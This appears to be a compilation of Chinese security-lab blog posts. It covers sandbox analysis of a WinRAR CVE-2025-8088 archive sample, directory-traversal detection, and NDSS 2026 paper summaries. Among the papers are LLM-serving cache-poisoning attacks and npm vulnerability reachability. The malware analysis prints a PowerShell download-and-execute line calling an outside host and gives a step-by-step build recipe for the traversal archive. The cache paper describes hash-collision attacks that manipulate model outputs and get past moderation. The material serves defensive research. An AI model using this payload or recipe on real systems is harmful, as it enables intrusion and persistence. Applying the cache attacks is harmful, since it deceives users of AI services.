2026年1月

一、简介

近期,WinRAR 曝出存在目录穿越漏洞(CVE-2025-8088),攻击者可构造恶意压缩包实现目录穿越,将任意文件写入到系统盘的任意位置。攻击者利用此漏洞可将恶意载荷(Payload)释放到 Windows 系统的“启动”文件夹下,当用户下次登录系统时,恶意代码将被自动执行,攻击者可获得主机的持久化控制权。该漏洞影响所有版本号 < 7.13 的 WinRAR,建议各位读者立即升级至 WinRAR 7.13 或更高版本。

自漏洞曝出,天穹团队积极扫描线上样本,检测到存在利用 CVE-2025-8088 的压缩包恶意样本,沙箱已于第一时间对该攻击样本进行分析,并确认天穹沙箱可以有效检测利用此漏洞的恶意行为,保护用户免受其害。

二、样本信息

  • 样本名:【内部资料】研发部门员工薪资单.rar
  • SHA1:67F6B3530D0D017040873246B4A592F09470FFCC
  • 文件类型:RAR Archive Data (v5)
  • 诱饵文件:【内部资料】研发部门员工薪资单.txt
  • 关联载荷:start.bat

三、样本分析

行为分析

该压缩包内部包含一个名为【内部资料】研发部门员工薪资单.txt的诱饵文件和一个名为 start.bat 的 Payload 文件,使用包含 CVE-2025-8088 漏洞的 WinRAR 解压该样本时将执行以下操作:

  • 在当前目录释放诱饵文件【内部资料】研发部门员工薪资单.txt
  • 在用户自启动目录释放 start.bat 文件,其内容为远程执行 PS1 文件。

当受害者重启电脑后,释放在自启动目录的 bat 文件会被执行触发恶意行为。

沙箱分析

将该样本投递至天穹沙箱,从压缩包检测部分可以看到,沙箱准确识别出漏洞信息诱饵文件恶意载荷路径,如图1所示。

图1 压缩包检测

通过动态分析可以看到,沙箱检测到样本将 start.bat 写入 c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ 目录,且进程的执行者为 winrar.exe,如图2所示。

图2 创建开启自启动脚本

单独分析 BAT 脚本,解密后其主体内容如下:

1IEX (New-Object System.Net.WebClient).DownloadString(‘http://47.82.111.137:666/reflection.ps1’)

由动态分析进程树部分可见,沙箱捕获到样本执行 Powershell 命令,如图3所示。

图3 执行Powershell命令

样本尝试下载并执行该 ps1 文件,如图4所示。

图4 远程下载ps1脚本并执行

由于该下载地址已死亡,无法进一步分析后续行为。

漏洞利用攻击链分析

该漏洞的核心利用方式是将 RAR5 文件头篡改与 NTFS 备用数据流(ADS)相结合。

  1. 载荷隐藏:攻击者首先将恶意载荷(如 1.bat )附加到一个无害的诱饵文件(如 decoy.txt )的 NTFS 备用数据流(ADS)中,这使得载荷在文件管理器中不可见,增加了隐蔽性。
  2. 构造基础包:攻击者使用官方的 WinRAR 命令行工具,将被附加了 ADS 的诱饵文件正常打包。这一步骤中 RAR 文件会记录下 ADS 的流名称,需要注意的是,WinRAR 在打包时禁止写入 ../ 这类可能造成目录穿越的路径,所以此处会先用占位符填充,如 X,但需要保证路径长度和修改后的路径长度一致,这样便于后续填充,如图5所示。
图5 原始RAR文件
  1. 路径篡改:这是最关键的一步。攻击者以二进制方式打开上一步骤生成的 RAR 文件,在文件头(File Header)中搜索记录 ADS 流名称的位置,并将其替换为精心构造的路径遍历字符串,例如:..\..\..\..\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.bat
  2. 校验和修复:直接修改文件头会破坏文件 CRC32 校验和,导致 WinRAR 报错。为了使恶意压缩包能够被正常解压,攻击者会重新计算被篡改过的文件头的 CRC32 值写回文件,如图6所示。
图6 修改后的RAR文件

文件分析

通过分析发现,该样本使用了 \..\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 进行目录穿越,当用户在 DownloadsDocumentsDesktop 和其他类似目录解压时,可顺利将 bat 脚本释放到用户自启动目录,如图7所示。此攻击方式的优点是无需知晓用户名,且用户下载压缩包时通常保存的目录就在 Downloads 目录。

图7 目录穿越路径

四、IOC

恶意文件(SHA256)

15123d998f3f2c1c6bead26f9ea102b5e46710cf1b0699f9b455a80af8e383155

恶意链接

1http[:]//47.82.111.137[:]666/reflection.ps1

报告链接

漏洞利用分析报告:天穹沙箱分析报告

压缩包文件分析报告:天穹沙箱分析报告

一、升级与优化

天穹智能分析平台近期完成全面升级,新增多项功能,并根据用户反馈进行了系统性优化。本次升级重点体现在以下三个方面:

  1. 情报智能体正式上线;
  2. 智能问答响应速度显著提升;
  3. 样本与网络地址详情页全面更新。

平台地址:天穹智能分析平台

接下来,我们将详细介绍每一项升级内容。

二、情报智能体正式上线

在此前的更新中,我们已经通过天穹沙箱的智能拓线功能初步体验了智能体的便捷与强大。本次更新,我们正式将情报智能体引入智能搜索,极大提升了智能体在面对复杂问题的处理能力,并能进一步提升回答深度和广度。

下面,我们以情报狩猎固件下载三个领域为示例,演示在哪些场景可开启智能体,以及如何使用智能体。

情报分析

例如,我们要求智能体针对以下情报问题进行深度分析:

🔍 分析APT37组织在过去一年的活动,并对收集的IOC进行分析和拓线

在搜索框输入问题,点击智能体按钮,即可开启智能体模式,如图1所示:

图1 开启智能体模式

接下来,我们会进入智能体页面,智能体首先会根据问题制定一份详细的方案,此模式为计划模式,如图2所示:

图2 计划模式

询问用户是否确认此方案,如图3所示:

图3 方案确认

如果对方案不满意,可以选择否,并提出其他需求。例如,我们要求智能体进一步查询样本的沙箱分析报告,如图4所示:

图4 修改方案

将需求发送后,智能体会重新制定一份方案。如图5所示,在新的方案中已经包含了提的新需求:

图5 按照要求重新制定方案

确认方案后,智能体将进入执行模式

在页面左侧天穹智能体部分,我们可以看到智能体的工具调用信息,包括工具名、调用参数和工具返回结果,如图6所示:

图6 工具调用

在右侧的智能体思维链部分,我们可以看到智能体对每一轮操作的描述和总结,方便随时查看智能体任务进度,如图7所示:

图7 智能体思维链

值得一提的是,本次升级上线了12款MCP工具,涵盖以下四个领域:

  • 情报检索
  • APT组织画像
  • 样本拓线
  • IOC查询

后续我们会持续关注与更新,引入更多强大和实用的MCP工具,进一步拓展智能体的能力边界。另外,您可以查看工具调用参数、返回结果和思维链,深入了解MCP工具和智能体。

任务完成后,右侧将展示完整的分析报告,顶部可复制、全屏查看、下载报告,如图8所示。此前的思维链将默认折叠,可滑动到报告底部展开查看。

图8 智能体分析报告

以下是智能体生成的完整分析报告,可看到智能体收集了一年以来有关APT37组织的情报,给出了详细的攻击时间线,并按照要求对IOC进行进一步拓线分析,如图9所示:

图9 APT37分析报告

如果对输出报告不满意,可以要求智能体进一步修改,如图10所示,智能体将重新生成报告,此处不再赘述。

图10 答案确认

威胁狩猎

在日常样本分析过程中,我们常常需要搜索特定名称、家族、时间范围等特征的样本,例如:

🔍 收集近期文件名中包含”名单”、“票”或“简历”的高危样本

可以看到,智能体不仅准确列出了样本IOC信息,还按照静态、动态对样本进行分类,并进一步对样本进行了关联分析,输出内容详实可靠,如图11所示:

图11 威胁狩猎报告

固件下载

对于IoT设备分析人员而言,精准定位特定型号与版本的官方固件下载地址是开展安全研究的关键前置步骤。例如:

🔍 查找 TP-Link Archer VR400 固件下载地址

智能体成功识别并汇总了该设备多个官方固件版本的下载链接,同时标注了每个固件的文件大小,便于用户快速比对与选择。更重要的是,智能体还对所有链接进行了威胁情报筛查,主动过滤非官方来源、第三方托管或已失效的链接,确保结果安全、可靠、有效,显著提升研究人员的工作效率与安全性,如图12所示。

图12 固件下载报告

三、响应速度显著提升

通过持续资源升级与模型优化,智能问答的响应速度大幅提升,回答耗时由原来的1分30秒缩短至30秒,如图13所示。

图13 速度对比

四、详情页全面更新

此前版本的样本和网络地址详情页存在信息密度低、内容不全的问题,经过全面改进,新版详情页信息密度显著提升,能够展示更多高价值数据,以下是具体的升级内容。

样本详情页

样本详情页在升级后,可以更加便捷的查看样本关联情报、引擎告警、静态信息、网络行为、沙箱报告和威胁配置,如图14所示:

图14 样本详情页升级前后对比

网络详情页

网络地址详情页在升级后,可以更加便捷的查看网络地址关联情报、关联样本、和 Whois 信息,如图15所示:

图15 网络详情页升级前后对比

五、 技术支持与反馈

天穹智能分析平台持续迭代升级,致力于为每一位样本分析人员打造更高效、更智能、更易用的分析平台——这始终是我们不变的初心与追求。

如果您希望深入了解平台功能,或在使用过程中遇到任何问题,欢迎随时联系我们。您的反馈,是我们进步的重要动力!

一、概述

在 Windows 系统中,压缩包(如 RAR、ZIP、7z 等)作为常见的文件分发载体,因其便捷性和通用性被广泛使用。然而,攻击者常利用压缩软件的目录穿越漏洞(如 CVE-2025-8088),通过构造恶意压缩包将恶意载荷写入系统关键路径(如启动项、系统目录等),实现持久化驻留或提权执行。此类攻击隐蔽性强、危害大,且传统静态检测难以有效识别。

为应对这一威胁,天穹沙箱正式上线压缩包目录穿越动态检测能力。该能力通过监控压缩软件在沙箱环境中的实际解压行为,实时捕获文件写入路径,精准识别包含 ..\、绝对路径、UNC 路径等高危操作,有效还原攻击者的真实意图。

二、目录穿越攻击常见手法

当前主流压缩包目录穿越攻击主要包括以下几类:

  1. 路径遍历(Path Traversal)压缩包内构造包含 ..\..\..\ 的文件路径,诱导解压程序将文件写入非预期目录。例如:1
    ..\..\..\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\demo.exe
  2. 绝对路径写入部分压缩格式(如 RAR)支持在压缩时嵌入绝对路径。攻击者可直接指定目标写入路径,绕过用户预期目录限制。
  3. UNC 路径利用通过构造类似 \\?\C:\Windows\Temp\demo.exe 的 UNC 路径,绕过常规路径校验逻辑,实现任意位置写入。

三、样本分析

样本上传

上传样本到天穹沙箱,即可快速准确地检测未知样本恶意行径,操作步骤如下:

  1. 登录天穹沙箱
  2. 选择分析环境及配置项,如图 1 所示,选择 Windows x64 作为分析系统,配置自动解压开关为 OFF,点击确认选择;
  1. 登录天穹沙箱
  2. 选择分析环境及配置项,如图 1 所示,选择 Windows x64 作为分析系统,配置自动解压开关为 OFF,点击确认选择;
图1 分析配置

上传样本,点击上传区域选择样本上传或将样本拖至上传区域即可上传样本,如图 2 所示,等待沙箱分析结束。

图2 上传样本

检测能力

样本一:7z目录穿越利用(CVE-2025-11001)

报告链接:天穹沙箱分析报告

漏洞原理:CVE-2025-11001 漏洞源于 7-Zip 在处理 ZIP 压缩包中的符号链接(Symbolic Links)时存在安全缺陷。具体来说,当 7-Zip 解压包含符号链接的 ZIP 文件时,未能正确验证符号链接指向的目标路径,导致攻击者可以构造恶意的 ZIP 压缩包,其中包含指向系统关键目录(如系统目录、程序目录等)的符号链接。

经天穹沙箱分析,在 7z 解压过程中捕获到以下行为,如图 3 所示:

  • 7z 工具向自启动目录写入文件 c:\Users\luchao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc.exe
  • 该路径明显超出沙箱指定的解压目录 C:\Users\luchao\AppData\Roaming\
  • 沙箱触发“目录穿越”高危告警。
图3 目录穿越检测

借助天穹智能分析平台了解 CVE-2025-11001 漏洞的详细信息,如图 4 所示,智能体总结了漏洞成因、攻击条件、影响版本、PoC代码等信息,并以脑图形式直观展示分析结果之间的关联和层级结构。

图4 天穹智能体解读

样本二:winrar 目录穿越利用(CVE-2025-8088)

报告链接:天穹沙箱分析报告

漏洞原理:WinRAR 在解析压缩文件时存在路径校验逻辑缺陷,未对压缩包内嵌的 NTFS 备用数据流(ADS)及路径跳转符号(如 ..\)进行严格过滤。攻击者可利用此缺陷构造恶意压缩包,通过 ADS 特性隐藏恶意文件,并结合路径遍历技术突破解压目录限制,最终将文件写入系统敏感路径(如启动目录)。

基于天穹沙箱的动态分析链还原漏洞利用攻击路径,如图 5 所示:

  1. 触发解压:用户双击恶意压缩包,系统调用 WinRAR.exe 启动解压流程;
  2. 路径篡改:WinRAR 在解析压缩包时,未正确校验文件路径的合法性。攻击者通过 ADS 流嵌入的路径跳转指令(如 ..\Startup\payload.exe),将目标解压路径动态指向系统启动目录(C:\Users\luchao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup);
  3. 越权写入:WinRAR 绕过用户指定的解压目录(如 C:\Downloads),直接将恶意文件写入启动目录,完成持久化驻留。
图5 目录穿越检测

四、IOC

恶意文件(SHA256)

1
2
ad9d91db166e91139b41ae1beae99da78ce0d231b32c43daf50eb0270508d5e9
2a8fafa01f6d3863c87f20905736ebab28d6a5753ab708760c0b6cf3970828c3

报告链接

样本一分析报告:天穹沙箱分析报告

样本二分析报告:天穹沙箱分析报告

近日,国际顶级学术会议 NDSS 2026(Network and Distributed System Security Symposium)公布录用结果,奇安信技术研究院合作完成的5篇论文成功被录用。NDSS 2026将于2026年2月23日至27日在美国圣地亚哥举办。此次多篇论文被录用,充分展现了奇安信技术研究院在网络安全前沿技术研究领域的深厚实力。

1. 大语言模型(LLM)推理服务框架中的缓存安全问题

第一篇论文是由奇安信技术研究院、中国海洋大学和清华大学联合完成的AI安全研究工作,论文题目为《Cache Me, Catch You: Cache Related Security Threats in LLM Serving Frameworks》。这项工作由中国海洋大学和奇安信联合培养的硕士研究生吴祥凡在奇安信技术研究院联培期间主导完成,导师为应凌云博士(奇安信星图实验室)和曲海鹏教授(中国海洋大学),其他作者为陈国强(奇安信星图实验室),谷雅聪(清华大学)。这项研究聚焦于大语言模型(LLM)推理服务框架中的安全威胁,深入分析了 KV Cache、多模态缓存及语义缓存 三大核心机制。

这项工作揭示了上述机制中严重的安全隐患:攻击者可利用这些漏洞操纵模型输出,实施数据投毒,甚至绕过现有的安全审核与防御体系。团队在 vLLM、SGLang 和 GPTCache 等主流推理服务框架中定位到了具体的实现缺陷,并提出了针对性的修复方案。目前,相关漏洞已被厂商确认并修复,因此获得了 3 个 CVE 漏洞编号,为提升 LLM 基础设施的安全性做出了实质性贡献。

2. npm 生态漏洞传播影响分析

第二篇论文是由奇安信技术研究院和清华大学合作完成的关于软件供应链安全的工作。论文题目为《From Noise to Signal: Precisely Identify Affected Packages of Known Vulnerabilities in npm Ecosystem》,作者为蒲应元(奇安信星图实验室)、应凌云(奇安信星图实验室)和谷雅聪(清华大学)。这项研究提出了基于函数调用关系的细粒度漏洞传播关系识别方法,结果表明传统的基于包依赖关系识别的漏洞影响结果中约 70% 都是误报。

npm作为全球最大的开源软件生态,其错综复杂的依赖关系使得漏洞极易在供应链中传播,给软件安全带来巨大隐患。现有的包级别软件成分分析(SCA)工具普遍存在严重的误报问题,无法区分漏洞代码是否真实被调用,同时现有的函数级分析工具在面对大规模生态时,往往面临计算成本过高和对JavaScript动态特性支持不足等瓶颈。为解决这些问题,我们设计开发了 VulTracer,一款面向npm生态的高精度、可扩展的函数级漏洞传播分析框架。该工具创新性地提出了“一次分析,多次复用”的模块化分析模式,通过对每一个 npm 包构建不可变的富语义图(RSG)、提取形式化接口以及按需组合合成技术,成功解决了大规模静态分析中的性能与精度挑战。

同时,VulTracer基于全量npm生态(覆盖3400万个npm 包版本,超 9 亿条依赖关系)进行了迄今为止最大规模的函数级漏洞影响实证研究。实验结果表明,该工具在调用图构建上达到了0.905的F1分数(SOTA),相比npm audit降低了94%的误报率;同时研究结果进一步揭示,现有包级别分析工具产生的警报中 68.28% 均为“噪声”(即漏洞代码不可达),且真实的漏洞传播往往随依赖层级加深而迅速衰减。该工作为缓解开发者的警报疲劳提供了切实可行的技术路径,使安全修复工作能聚焦于真实存在的威胁。

3.JavaScript脚本的自动化反混淆

第三篇论文是由奇安信技术研究院和北京邮电大学合作完成的关于JavaScript反混淆的工作。论文题目为《From Obfuscated to Obvious: A Comprehensive JavaScript Deobfuscation Tool for Security Analysis》,这项工作由北京邮电大学和奇安信联合培养的卓越工程师计划博士研究生周董超在奇安信技术研究院联培期间主导完成,导师为应凌云博士(奇安信星图实验室)和王东滨教授(北京邮电大学),参与该项工作的还有柴华君(奇安信星图实验室)。这篇论文也是我们继PowerPeeler (CCS 2024)和Invoke-Deobfuscation (DSN 2022)之后的又一项脚本反混淆工作。

JavaScript作为互联网核心脚本语言的广泛应用,使其成为恶意攻击者的重要载体。攻击者利用复杂的代码混淆技术隐藏恶意行为,给安全分析带来严峻挑战。现有反混淆工具普遍存在处理复杂样本能力有限、仅支持特定混淆类型、输出代码难以阅读等关键局限。为解决这些问题,我们设计开发了JSIMPLIFIER,一款集成多阶段处理流程与大语言模型增强的综合性JavaScript反混淆工具。该工具创新性地结合代码预处理、静态AST分析与动态执行监控的双引擎协同,以及基于LLM的智能变量重命名,实现从复杂样本格式化到语义增强的全流程反混淆。JSIMPLIFIER基于44,421个真实混淆样本构建了目前最大规模数据集,实验证明其100%覆盖20种主流混淆技术,达到100%处理成功率和正确率,代码复杂度降低88.2%,可读性提升超过4倍。该工具已成功还原JSFireTruck等复杂恶意样本的混淆行为,相关研究成果、工具及数据集已开源共享。

4. Windows 代码签名滥用分析

第四篇论文是由奇安信技术研究院、清华大学和中关村实验室合作完成的关于代码签名滥用检测的工作。论文题目为《Understanding the Status and Strategies of the Code Signing Abuse Ecosystem》,这项工作由清华大学和奇安信联合培养的卓越工程师计划博士研究生赵汉卿主导完成,导师为段海新教授(清华大学)和应凌云博士(奇安信星图实验室)。其他作者分别为张一铭(清华大学)、张明明(中关村实验室)、刘保君(清华大学)、游子权(清华大学)、张书豪(奇安信星图实验室)。

近年来,软件供应链安全事件频发,为了保护软件真实性与完整性,代码签名机制应运而生。代码签名主要依赖公钥基础设施 PKI 技术,旨在确保软件来自真实来源且软件内容未被篡改。然而,攻击者有时会反过来利用代码签名PKI信任体系中的安全缺陷,帮助恶意软件绕过操作系统和杀毒软件的检查。深入理解代码签名滥用生态系统的演变过程以及滥用者的策略,对于完善相关检测与防御机制至关重要。

在这项工作中,我们利用从真实世界中收集的 3,216,113 个已签名的恶意 PE 文件,对代码签名滥用行为进行了大规模测量。通过细粒度的代码签名滥用检测分类算法,我们检测到了 43,286 张滥用证书,构建了迄今为止最大的滥用标记数据集。分析发现当前代码签名滥用现象普遍存在,影响了 46 家 CA 厂商以及 114 个国家或地区的证书。我们发现了 5 种滥用者的攻击策略,并根据当前代码签名 PKI 存在的安全缺陷提出了若干缓解措施。

5. 4G LTE 飞基站系统性安全评估

第五篇论文是由清华大学、奇安信技术研究院、CableLabs、Carleton University 及泉城实验室合作完成的关于 4G LTE femtocell 安全风险评估的研究工作。论文题目为 《Small Cell, Big Risk: A Security Assessment of 4G LTE Femtocells in the Wild》。该项工作由清华大学和奇安信联合培养的卓越工程师计划博士研究生杨雅儒主导完成,导师为段海新教授(清华大学、泉城实验室)和汤舒俊(奇安信技术研究院)。其他作者分别为张一铭(清华大学)、万涛(CableLabs & Carleton University)、常得量(奇安信技术研究院)、李义申(清华大学)。

近年来,为了提升室内覆盖、降低部署成本并分担宏基站流量,femtocell 作为一种小型、低功耗的运营商基站,被部署于个人家庭等场景。与传统基站不同,femtocell 通常直接接入公共互联网,并在物理与网络层面更容易被攻击者接触。一旦被攻破,femtocell 会以“受信任节点”的身份接入核心网,可能对用户隐私与核心网安全造成严重威胁。

这项工作对真实世界中的 4G LTE femtocell 进行了系统性的安全评估。我们分析了 4 款来自不同厂商的商用 femtocell 设备,从硬件与软件两个层面识别出 5 类可导致本地或远程攻破的共性漏洞。在此基础上,我们在受控实验环境中进一步分析了被攻破 femtocell 对用户侧业务的安全影响,验证了对数据业务、语音通话以及短信服务的威胁,例如用户通信内容的机密性可能在特定场景下面临风险。随后,我们进一步开展了互联网规模测量,基于 IKEv2、TR-069 及管理接口等协议特征,在全球 IPv4 空间中识别出 86,108 个疑似 femtocell 部署实例,其中超过六成为高置信度目标。研究结果表明,femtocell 在真实网络中的暴露程度与安全风险显著,一台被攻破的 femtocell 即可能成为攻击用户与核心网络的重要入口。基于上述发现,我们讨论了其安全影响,并提出了针对设备、部署与标准层面的缓解建议。

=========  我 是 分 割 线  =========

星图实验室隶属于奇安信技术研究院,专注于软件与系统安全的核心技术研究与系统平台研发,对外输出“天穹”软件动态分析沙箱、“天问”软件供应链分析平台、“天象”软件漏洞挖掘系统等核心能力和工具系统。

我们目前正在招聘,工作地点覆盖北京、南京、成都等城市,详情请参见:https://research.qianxin.com/recruitment/

在大模型(LLM)服务极速发展的当下,效率至关重要。为了降低延迟并控制算力成本,主流推理框架广泛引入了先进的缓存机制。然而,这种追求极致速度的设计是否埋下了安全隐患?

本论文是由奇安信技术研究院、中国海洋大学和清华大学联合完成的AI安全研究工作说明了缓存机制如果实现不恰当的话,就会造成安全隐患。论文题目为《Cache Me, Catch You: Cache Related Security Threats in LLM Serving Frameworks》。这项工作由中国海洋大学和奇安信联合培养的硕士研究生吴祥凡在奇安信技术研究院联培期间主导完成,导师为应凌云博士(奇安信星图实验室)和曲海鹏教授(中国海洋大学),其他作者为陈国强(奇安信星图实验室),谷雅聪(清华大学)。这项研究聚焦于大语言模型(LLM)推理服务框架中的安全威胁,深入分析了 KV Cache、多模态缓存及语义缓存 三大核心机制。

1. LLM推理加速背后的隐忧

随着模型参数规模的不断膨胀,推理计算的开销急剧上升。为了优化用户体验,vLLM、SGLang、GPTCache等主流服务框架引入了多种缓存策略,包括前缀缓存(Prefix Cache)、语义缓存(Semantic Cache)和多模态缓存(Multimodal Cache)。

虽然这些机制通过存储中间状态极大地减少了重复计算,但我们的研究发现,现有的缓存实现往往“重效率、轻安全”。非加密哈希函数的滥用、有缺陷的对象序列化以及模糊的语义匹配标准,共同构成了一个全新的、尚未被充分探索的攻击面。与以往关注训练阶段的数据投毒不同,这是一类发生在推理阶段的全新安全威胁。

2. Cache Me, Catch You:首个LLM缓存安全系统性研究

为了揭示这一风险,我们对主流LLM服务框架的缓存实现进行了全面的解构与分析,并提出了六种新颖的攻击向量。这些攻击利用了哈希碰撞和语义模糊匹配的特性,能够在不接触模型权重的情况下,通过污染共享缓存来操纵模型输出。

主要发现与攻击向量:

我们将发现的威胁归纳为两大类:一是面向用户的欺诈攻击,即攻击者利用系统渠道向用户传递恶意信息 ,具体手段包括利用哈希碰撞替换合法提示词以劫持对话逻辑的系统提示词碰撞、针对语义缓存构造高相似度恶意查询诱导错误回答的语义模糊投毒 ,以及在检索增强生成场景下利用文档相似性扩大攻击面的RAG语义投毒 ;二是系统完整性攻击,旨在破坏服务功能或绕过安全审查 ,具体涵盖构造与目标完整前缀碰撞以劫持响应的提示词碰撞劫持 、通过精心构造padding token让恶意代码块对LLM“隐形”以绕过审计的分块碰撞劫持 ,以及利用图像处理忽略元数据(如尺寸)缺陷构造哈希碰撞图片以绕过审核的多模态碰撞 。

细节详解:

以多模态为例,其核心漏洞根源在于当前主流推理框架(如vLLM)在对多模态数据进行序列化时存在严重的逻辑缺陷。具体而言,vLLM默认调用PIL 的 tobytes() 方法来提取图像数据以计算哈希,该方法虽然能获取原始像素字节流,但在vLLM的后续操作中完全忽略了图像宽高等尺寸信息以及调色板等关键元数据。攻击者利用这一特性实施“尺寸伪装”攻击,通过重塑图像维度(例如将 H*W的图像变形为W*H)而不改变像素排列顺序,使得原本违规的图片变成一团毫无意义的噪点,从而生成与原图完全一致的哈希值。此外,攻击者还能利用“调色板模式”漏洞,构造出索引数据相同但颜色定义截然相反的图片对(如黑底白字与白底黑字),由于序列化过程仅读取索引而忽略调色板定义,这两张视觉迥异的图片在系统眼中却拥有相同的“指纹”。

同样的隐患也出现在SGLang框架中,其为了适配张量数值范围将SHA256哈希值进行了取模截断,导致哈希空间被压缩至极易发生碰撞的范围。

下图是我们操纵图片当中的尺寸和PNG当中的P格式的调色盘,实现看上去不同的图片但是hash一致。

3. 实验效果与影响评估

我们在vLLM、SGLang及GPTCache等主流开源框架上进行了实测,证实了这些攻击路径的高可用性与低门槛:攻击者仅需不到1美元的成本即可完成一次投毒 。以针对vLLM的前缀缓存攻击为例,我们在30分钟内便成功搜索到碰撞哈希,实现了100%的缓存命中 。

实验还还原了真实的威胁场景违规图片如何利用多模态缓存缺陷骗过内容审核系统。下图展示一个示意图,成功命中图片之后会复用之前的图片预处理结果,导致生成了错误回复。

4. 防御方案与行业响应

针对发现的漏洞,我们提出了五层防御策略,包括引入随机化哈希(Salting)、采用强加密哈希函数、强制规范化序列化流程、使用更鲁棒的Embedding模型以及增加LLM辅助过滤层。我们的理论分析和实际验证表明,上述的防御方案是可行的、有效的。

我们在第一时间将发现的漏洞通报给了受影响的厂商和社区,包括 vLLM、SGLang、GPTCache、AIBrix、rtp-llm 和 LMDeploy,并分配了 3个 CVE 编号。值得注意的是,vLLM、GPTCache 和 AIBrix 已经采纳了我们提出的缓解措施(如引入随机盐值、规范化图像序列化等)并完成了修复。(在本文发表时,SGLang也反馈采纳了我们的缓解措施。)

5. 讨论与未来展望

我们的研究再次表明,高性能不应成为忽视底层系统安全的理由。本研究证明,即便模型本身无懈可击,外围缓存框架的设计缺陷仍足以瓦解整个系统的信任基石;特别是在云端共享算力场景下,必须实施严格的多租户隔离与键值空间分离以防御跨租户攻击。作为填补推理侧缓存安全空白的先行工作,本研究旨在推动社区正视这一隐蔽威胁,共同构建更稳健的大模型服务基础设施。

更多参考

想了解更多技术细节?欢迎阅读我们的学术论文或访问项目主页:

代码仓库:https://github.com/XingTuLab/Cache_Me_Catch_You

感谢您的阅读,期待能为您的AI安全研究与工程实践带来启发!

一、引言:软件供应链安全的”狼来了”困境

想象这样一个场景:你是一名开发者,每天打开 CI/CD 系统,迎接你的是数百条安全警报——”检测到依赖包存在高危漏洞,请立即修复!” 但当你花费大量时间逐一排查后却发现,绝大多数警报都是虚惊一场:那些所谓的”漏洞代码” 根本就没有被你的应用调用。这种”警报疲劳”已成为软件供应链安全领域的痛点,也是众多安全检测工具难以实际落地应用的重要原因。

这正是奇安信技术研究院和清华大学研究团队在 NDSS 2026 会议上发表的论文所要解决的核心问题。论文题目为《From Noise to Signal: Precisely Identify Affected Packages of Known Vulnerabilities in npm Ecosystem》,作者为蒲应元(奇安信星图实验室),应凌云博士(奇安信星图实验室)和谷雅聪博士(清华大学)。这项研究针对全球最大的开源软件生态系统——npm(拥有超过 300 万个包,2024 年处理了约 4.5 万亿次请求),提出了一套基于函数调用关系的细粒度漏洞传播关系识别方法和分析框架。论文分析结果表明传统工具所产生的漏洞警告中,高达 68.28% 都是”噪声”,即漏洞代码实际上根本无法被触达。

二、问题的本质:为什么传统方法会产生如此高的误报?

npm生态系统的复杂性源于其极度碎片化的包依赖结构。已有研究显示,约四分之一的npm包版本依赖于存在已知漏洞的包。以 pac-resolver为例,这个每周下载量达 300 万次的 npm 包曾曝出高危远程代码执行漏洞,导致 GitHub 上超过 28.5 万个公共仓库可能面临风险。但问题的关键在于:依赖存在漏洞的包,不等于你的应用真的受到影响。当前主流的软件成分分析(SCA)工具,如npm audit、GitHub Dependabot等,都采用包级别的分析方法。它们的逻辑很简单:如果你的依赖树中存在包A的v1.0版本,并且包A的v1.0版本存在漏洞,则发出警报提醒你的应用受到影响。 但这种粗粒度分析忽略了三个关键问题:

  1. 未使用的依赖:你的 package.json 声明了依赖,但代码中从未引入(require/import)该包的任何模块;
  2. 浅层的 API 使用:即使引入了包,可能只使用了其中若干个函数,而漏洞函数根本未被调用;
  3. 传递性衰减:通过多层依赖传递时,每一跳的使用范围都在缩小。

理论上,函数级可达性分析是最佳解决方案——只有当存在从应用入口到漏洞函数的调用路径时,才认为应用真正可能受到影响。但在 npm 生态实施函数级分析面临三大技术挑战:

  • 首先是可扩展性挑战:传统方法需要为每个项目构建完整的调用图(Call Graph),也包含其所有依赖,对于复杂项目,依赖数量可达数百甚至上千个包。每次分析都要从头开始,计算成本呈指数级增长。
  • 其次是 JavaScript 的动态特性带来的程序分析挑战。极其灵活的语法特性为静态分析制造了诸多盲区:代码中广泛存在的动态属性访问(利用变量而非字面量调用函数)、将函数作为参数传递的高阶函数机制(回调),以及允许在运行时动态修改对象原型链的特性,都让静态分析器难以在运行前确定具体的调用目标和完整的控制流,从而极易导致依赖分析链路的断裂或缺失。具体代码示例如下:
// 动态属性访问 
obj[propName]();  // propName是变量,静态分析难以确定调用目标  

// 高阶函数 
function process(callback) {    
    callback();  // 不知道传入的是哪个函数
}  

// 原型链动态修改 ,增加了分析的不确定性
Object.prototype.newMethod = function() { ... }; 
  • 最后,JavaScript 语言模块系统的复杂性进一步加剧了分析难度:CommonJS (require)和 ESM (import/export) 不同的模块机制、module.exports对象可在运行时修改,以及require()的参数可以是动态表达式 ,这些都进一步加剧了分析难度。

三、VulTracer的核心设计和解决方案

面对这些挑战,我们设计并实现了 VulTracer 这个分析框架。它的核心洞察在于:npm包一旦发布就不可变,因此可以为每个包预计算可复用的分析结果。这开启了”分析一次,复用多次”的新范式。

VulTracer 将传统的整体式分析分解为三个独立阶段,核心设计和架构如上图所示。以下将详细介绍每一个部分的设计逻辑和细节。

3.1 富语义图生成 (RSG Generation)

首先,VulTracer 利用程序静态分析技术,为每一个包构建了一个富语义图(Rich Semantic Graph, RSG)。这张图不仅看清了包内部的函数调用脉络,更关键的是,它显式地刻画了包的“边界”——哪些函数被暴露给了外部,又有哪些地方调用了外部依赖。传统的调用图(Call Graph)只记录”谁调用了谁”,而RSG设计了一个多层次的图结构,完整保留包的边界信息,图中的实体结构和详细定义如 下图 DEF1 所示,包含了三类不同的顶点集合和边集合。

3.2 接口契约提取 (Interface Contract Extraction)

虽然 RSG 保留了包的全部内部细节,但如何让独立分析的包能够正确”对接”?这就涉及到了提取形式化的接口契约。VulTracer 从这张复杂的图中提取出了一份简洁的形式化接口契约(Interface Contract)。这就像是给每个软件模块定义了标准的“插头”和“插座”,契约中清晰地记录了 API 的导出方式(Export Manifold)和导入方式(Import Manifest)。这一步至关重要,它充当了一道“语义防火墙”,屏蔽了复杂的内部实现细节,只保留了交互所需的关键信息。具体的定义如下图DEF2 所示。

3.3 拓扑排序驱动的按需组合式合成 (Compositional Synthesis)

